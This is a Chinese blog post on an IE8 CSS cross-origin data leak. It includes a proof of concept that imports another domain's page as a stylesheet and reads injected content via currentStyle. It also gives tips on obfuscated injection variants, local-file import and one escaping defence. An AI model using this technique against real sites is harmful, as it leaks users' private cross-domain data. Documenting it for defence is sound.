Microsoft IE CSS处理跨域信息泄露漏洞
Internet Explorer是Windows操作系统中默认捆绑的web浏览器。
Internet Explorer允许包含跨来源的内容,且CSS解析器在处理内容时是容错的。如果用户在页面中注入某些内容并以样式表的方式导入,就可以获得其他域中网页的敏感信息。
也是很严重的一个漏洞,我们都知道同源策略限制脚本不能跨域读数据,用这个漏洞在IE8里就可以了。
POC:
[html]
www.a.com/test.html:
<body>
{}body{font-family:
aaaaaaaaaaaaaa
bbbbbbbbbbbbbbbb
</body>
www.b.com/test2.html:
<style>
@import url("http://www.a.com/test.html");
</style>
<script>
setTimeout(function(){
var t = document.body.currentStyle.fontFamily;
alert(t);
},2000);
</script>
原理:
import 远程文件后,渲染进入当前页面DOM,通过 document.body.currentStyle.fontFamily 访问此内容,估计问题是在IE8里CSS Parser的过程,fontFamily: 后面的内容被当做了value。 FF也没有 currentStyle 这种对象。
我写这篇blog的原因是测试后,有了下面几个TIPS:
1. import 是在整个页面load完成后才加载的,所以我在POC里用了setTimeout
2. 不一定要 fontFamily, 随便自定义一个都可以,比如:
{}body{xxxx:”
然后取的时候:
document.body.currentStyle.xxxx;
3. 引号不是必须的,所以可以写成:
{}body{xxxx:
但我测试的一个case发现不带引号时丢了部分内容,后来重现不了了。
4. 不一定要body, * 也可以
{}*{xxxx:
5. 可以加入各种混淆
{}/*$$%%^^######*/body{xxxx:
{/*$$%%^^######*/}body{xxxx:
{
}body{xxxx:
6. 网站想防御可以转义 {、}、:
7. 可以import本地文件
这类漏洞用于窃取敏感数据非常厉害,进而可以造成很多严重的后果,根据具体场景而定,发挥自己的想象吧。
没有评论
暂无评论
RSS feed for comments on this post.
对不起,该文章的评论被关闭了!